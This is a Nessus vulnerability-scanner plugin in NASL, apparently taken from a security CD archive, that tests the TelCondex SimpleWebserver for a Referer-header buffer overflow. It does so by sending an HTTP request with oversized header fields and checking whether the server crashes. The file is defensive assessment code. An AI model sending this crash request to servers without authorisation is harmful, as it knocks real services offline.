home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / telcondex.nasl < prev    next >
Encoding:
Text File  |  2005-03-31  |  1.4 KB  |  54 lines
  1. if(description) 
  2. { 
  3.     script_id(11927); 
  4.     script_bugtraq_id(8925);
  5.         script_version("$Revision: 1.4 $"); 
  6.       
  7.     name["english"] = "TelCondex Simple Webserver Buffer Overflow"; 
  8.         
  9.       script_name(english:name["english"]); 
  10.  
  11.       desc["english"] = "The TelCondex SimpleWebserver is vulnerable to a remote executable buffer overflow, due to 
  12. missing length check on the referer-variable of the HTTP-header.
  13.         
  14. Solution: Upgrade version 2.13 http://www.yourinfosystem.de/download/TcSimpleWebServer2000Setup.exe
  15.          
  16. Risk factor : High"; 
  17.         
  18.       script_description(english:desc["english"]); 
  19.         
  20.       summary["english"] = "Checks for TelCondex Buffer Overflow";
  21.     script_summary(english:summary["english"]);
  22.     script_category(ACT_DENIAL);
  23.     script_copyright(english:"This script is Copyright (C) 2003 Matt North");
  24.  
  25.     family["english"] = "Denial of Service";
  26.     script_family(english:family["english"]);
  27.     
  28.     script_dependencie("find_service.nes");
  29.     script_require_ports("Services/www", 80);
  30.     exit(0);
  31. }
  32.  
  33. include("http_func.inc");
  34.  
  35. port = get_http_port(default:80);
  36.  
  37. if(http_is_dead(port:port)) exit(0);
  38.  
  39.  
  40. s = string( "GET / HTTP/1.1\r\n", "Accept: */* \r\n" , "Referer:", crap(704), "\r\n", "Host:" , crap(704), "\r\n", "Accept-Language", 
  41.         crap(704), "\r\n\r\n" );
  42.  
  43. soc =  http_open_socket(port);
  44. if(!soc) exit(0);
  45.  
  46. send(socket: soc, data: s);
  47. r = http_recv(socket: soc);
  48. http_close_socket(soc);
  49.  
  50. if(http_is_dead(port: port)) {
  51.     security_hole(port);
  52. }
  53.  
  54.